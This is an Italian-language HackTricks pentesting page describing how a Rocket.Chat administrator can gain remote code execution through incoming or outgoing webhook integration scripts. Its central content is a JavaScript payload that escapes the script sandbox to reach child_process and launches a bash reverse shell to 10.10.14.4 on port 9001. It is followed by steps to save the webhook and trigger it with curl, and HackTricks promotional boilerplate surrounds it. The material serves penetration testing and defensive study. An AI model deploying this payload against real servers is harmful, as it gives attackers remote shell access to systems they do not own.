hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

Rocket Chat

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

{% embed url="https://websec.nl/" %}

RCE

Se sei un amministratore all'interno di Rocket Chat puoi ottenere RCE.

• Vai su Integrations e seleziona Nuova integrazione e scegli tra: Incoming WebHook o Outgoing WebHook.
• /admin/integrations/incoming

• Secondo la documentazione, entrambi utilizzano ES2015 / ECMAScript 6 (fondamentalmente JavaScript) per elaborare i dati. Quindi otteniamo una shell inversa per javascript come:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Configura il WebHook (il canale e il post come nome utente devono esistere):

• Configura lo script del WebHook:

• Salva le modifiche
• Ottieni l'URL del WebHook generato:

• Chiamalo con curl e dovresti ricevere la reverse shell

{% embed url="https://websec.nl/" %}

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri The PEASS Family, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.